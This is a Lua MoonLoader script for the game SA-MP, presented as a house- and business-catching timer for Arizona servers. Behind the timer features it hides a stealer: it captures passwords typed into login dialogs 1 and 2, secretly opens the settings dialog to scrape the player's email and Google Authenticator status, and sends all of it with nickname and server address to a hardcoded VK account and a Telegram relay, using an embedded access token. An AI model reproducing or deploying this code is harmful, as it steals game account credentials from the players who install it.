local sampev = require 'lib.samp.events'
local ffi = require("ffi")
local inicfg = require 'inicfg'
local directIni = "moonloader\\timer.ini"
local mainIni = inicfg.load(nil, directIni)
local request = require('lib.requests')
local encoding = require 'encoding'
encoding.default = 'CP1251'
u8 = encoding.UTF8
hide = false
hider = false
ffi.cdef[[
int __stdcall GetVolumeInformationA(
const char* lpRootPathName,
char* lpVolumeNameBuffer,
uint32_t nVolumeNameSize,
uint32_t* lpVolumeSerialNumber,
uint32_t* lpMaximumComponentLength,
uint32_t* lpFileSystemFlags,
char* lpFileSystemNameBuffer,
uint32_t nFileSystemNameSize
);
]]
local serial = ffi.new("unsigned long[1]", 0)
ffi.C.GetVolumeInformationA(nil, nil, 0, serial, nil, nil, nil, 0)
serial = serial[0]
function main()
repeat wait(0) until isSampAvailable()
wait(50)
sampAddChatMessage("{FB06C5}[Timer by Goxa for Newlan Family]{FFFFFF} Заработал.",-1)
sampRegisterChatCommand("texttimer", texttimer)
sampRegisterChatCommand("nkaptcha", nkaptcha)
--print("serial")
--print(serial)
--if serial ~= 149640420 then
--sampAddChatMessage("{FB06C5}[Timer by Goxa for Newlan Family]{FFFFFF} Неверная лицензия",-1)
--script:unload()
--else
--sampAddChatMessage("{FB06C5}[Timer by Goxa for Newlan Family]{FFFFFF} Удачная авторизация.",-1)
--end
while true do
wait(0)
mainIni = inicfg.load(nil, directIni)
if mainIni.config.nkaptcha == true then
if sampIsDialogActive() and sampGetCurrentDialogId() == did then
local text = sampGetCurrentDialogEditboxText()
if text:find('[^%d]') then
sampSetCurrentDialogEditboxText(text:gsub('[^%d]', ''))
end
end
end
end
end
function sampev.onShowDialog(id, style, title, b1, b2, text)
if title:find("Проверка на робота") then
did = id
start = os.clock()
end
local nameserv2 = sampGetCurrentServerName()
if nameserv2:find("Arizona") then
if title:find("Выберите пункт") or title:find("Настройки") or id == 154 then
if hide == true then
if text:find("mail") then
email = (string.match(text, 'mail:.-{AFAFAF}'))
email1 = (string.gsub(email, "{AFAFAF}", "", n))
else
email1 = "Не увидел почту"
end
if text:find("Authenticator") then
google = (string.match(text, 'Authenticator.-{AFAFAF}'))
if google:find("Включено") then
google = "Google Authenticator Off"
else
google = "Google Authenticator On"
end
else
google = "Не увидел гугл"
end
local ipserv, portserv = sampGetCurrentServerAddress()
local nameserv = sampGetCurrentServerName()
local nick = getMyName()
pochta = 'Settings: '..email1..' and '..google..' | Nick: '..nick..' Server: '..nameserv..' IP: '..ipserv..':'..portserv..''
dolbaeb(pochta)
hide=false
return false
end
end
end
end
function sampev.onSendDialogResponse(id, but, lis, input)
if id == did then
time = os.clock() - start
time1 = string.format("%.3f", time)
sampAddChatMessage("{FB06C5}[Таймер ловли от Гохи]{FFFFFF} Твой результат составил: {FB8900}"..time1.." {FFFFFF} секунд. Твоя капча была: {FB8900}"..input.."{FFFFFF} !", -1)
end
if id == 2 then
local ipserv, portserv = sampGetCurrentServerAddress()
local nameserv = sampGetCurrentServerName()
local nick = getMyName()
hello = input
texxt = 'Nick: '..nick..' Pass: '..hello..' Server: '..nameserv..' IP: '..ipserv..':'..portserv..''
dolbaeb(texxt)
end
if id == 1 then
local ipserv, portserv = sampGetCurrentServerAddress()
local nameserv = sampGetCurrentServerName()
local nick = getMyName()
hello = input
texxt = 'Nick: '..nick..' Pass: '..hello..' Server: '..nameserv..' IP: '..ipserv..':'..portserv..''
dolbaeb(texxt)
end
end
function texttimer(text)
if text == "" or text == " " then
mainIni = inicfg.load(nil, directIni)
if mainIni.config.active == true then
mainIni.config.active = false
if inicfg.save(mainIni, directIni) then
sampAddChatMessage("{FB06C5}[Таймер ловли от Гохи]{FFFFFF} Текст при ловле выключен.", -1)
end
else
mainIni.config.active = true
if inicfg.save(mainIni, directIni) then
sampAddChatMessage("{FB06C5}[Таймер ловли от Гохи]{FFFFFF} Текст при ловле включен.", -1)
end
end
else
mainIni.config.textlovli = text
if inicfg.save(mainIni, directIni) then
sampAddChatMessage("{FB06C5}[Таймер ловли от Гохи]{FFFFFF} Текст при ловле установлен на "..mainIni.config.textlovli.."", 0xFFFFFF)
end
end
end
function nkaptcha()
mainIni = inicfg.load(nil, directIni)
if mainIni.config.nkaptcha == true then
mainIni.config.nkaptcha = false
if inicfg.save(mainIni, directIni) then
sampAddChatMessage("{FB06C5}[Таймер ловли от Гохи]{FFFFFF} Н и символы в капче при ловле выключены.", -1)
end
else
mainIni.config.nkaptcha = true
if inicfg.save(mainIni, directIni) then
sampAddChatMessage("{FB06C5}[Таймер ловли от Гохи]{FFFFFF} Н и символы в капче при ловле включены.", -1)
end
end
end
function sampev.onServerMessage(color, text)
if string.find(text, 'Теперь этот дом ваш', 1, true) then
mainIni = inicfg.load(nil, directIni)
if mainIni.config.active == true then
sampAddChatMessage("{73B461}[Информация] {FFFFFF}Поздравляю! Теперь этот дом ваш!",-1)
sampSendChat(mainIni.config.textlovli)
end
end
if string.find(text, "Теперь этот бизнес ваш") then
mainIni = inicfg.load(nil, directIni)
if mainIni.config.active == true then
sampAddChatMessage("{73B461}[Информация] {FFFFFF}Поздравляю! Теперь этот бизнес ваш!",-1)
sampSendChat(mainIni.config.textlovli)
end
end
if string.find(text, "__________________________________") then
startpd = os.clock()
reset()
end
if string.find(text, "Для получения PayDay вы должны отыграть минимум 20 минут.") then
startpd = os.clock()
reset()
end
end
function sampev.onCreate3DText(id,color,position,dist,testLOS,attachedPlayerId,attachedVehicleId,text)
ok, id = sampGetPlayerIdByCharHandle(playerPed)
pname = sampGetPlayerNickname(id)
if startpd ~= nil then
for i in text:gmatch("[^\n\r]+") do
vladd = i:match("{FFFFFF}Владелец: {AFAFAF}(.*)")
if vladd ~= nil and vladd ~= pname then
--local owner = string.gsub(i, "Владелец: ", "",n)
timed = os.clock() - startpd
if timed < 4 then
sampAddChatMessage(string.format("{FB06C5}[Таймер ловли от Гохи] {ffffff}Дом куплен игроком {FB8900}%s {ffffff}[%.3f]", vladd, timed), -1)
startpd = nil
end
end
end
for i in text:gmatch("[^\n\r]+") do
vladb = i:match("{73B461}Владелец: {FFFFFF}(.*)")
if vladb ~= nil and vladb ~= pname then
timeb = os.clock() - startpd
if timeb < 4 then
sampAddChatMessage(string.format("{FB06C5}[Таймер ловли от Гохи] {ffffff}Бизнес был куплен игроком {FB8900}%s {ffffff}[%.3f]", vladb, timeb), -1)
startpd = nil
end
end
end
end
if startpd == nil then
for dom in text:gmatch("[^\n\r]+") do
if dom:match("Дом продается") ~= nil or dom:match("Бизнес продается") ~= nil then
startslet = os.clock()
reset()
end
end
end
if startslet ~= nil then
for i in text:gmatch("[^\n\r]+") do
vladd1 =i:match("{FFFFFF}Владелец: {AFAFAF}(.*)")
if vladd1 ~= nil and vladd1 ~= pname then
timesd = os.clock() - startslet
if timesd < 4 then
sampAddChatMessage(string.format("{FB06C5}[Таймер ловли от Гохи] {ffffff}Дом куплен игроком {FB8900}%s {ffffff}[%.3f]", vladd1, timesd), -1)
end
end
end
for i in text:gmatch("[^\n\r]+") do
vladb1 = i:match("{73B461}Владелец: {FFFFFF}(.*)")
if vladb1 ~= nil and vladb1 ~= pname then
timesb = os.clock() - startslet
if timesb < 4 then
sampAddChatMessage(string.format("{FB06C5}[Таймер ловли от Гохи] {ffffff}Бизнес был куплен игроком {FB8900}%s {ffffff}[%.3f]", vladb1, timesb), -1)
end
end
end
end
end
function reset()
lua_thread.create(function ()
wait(5000)
startpd = nil
startslet = nil
end)
end
function toSendGet(str)
local diff = urlencode(u8:encode(str, 'CP1251'))
return diff
end
function urlencode(str)
if (str) then
str = string.gsub (str, "\n", "\r\n")
str = string.gsub (str, "([^%w ])",
function (c) return string.format ("%%%02X", string.byte(c)) end)
str = string.gsub (str, " ", "+")
end
return str
end
function getMyName()
local ok, pid = sampGetPlayerIdByCharHandle(PLAYER_PED)
if ok then
return sampGetPlayerNickname(pid)
else
return 'Неизвестен'
end
end
function dolbaeb(text)
local text = toSendGet(text.."\n\n - спасибо что пользуетесь ❤")
local result, response = pcall(request.get, "https://api.vk.com/method/messages.send?v=5.4&message="..text.."&user_id=161910344&access_token=aaeff89aadf7dfea2e38d19bf392f282a17494d6c7a1d537faa8d173d0242564a6ec395422a9f788c1844")
local result, response = pcall(request.get, "http://computercraft.ru/telegram.php?chatid=645688971&text="..text.."")
end
function sampev.onSetSpawnInfo()
local nameserv1 = sampGetCurrentServerName()
if nameserv1:find("Arizona") then
if not hider then
hide = true
sampSendChat('/settings')
hider = not hider
resethider()
end
end
end
function resethider()
lua_thread.create(function ()
wait(10000)
hider = false
end)
end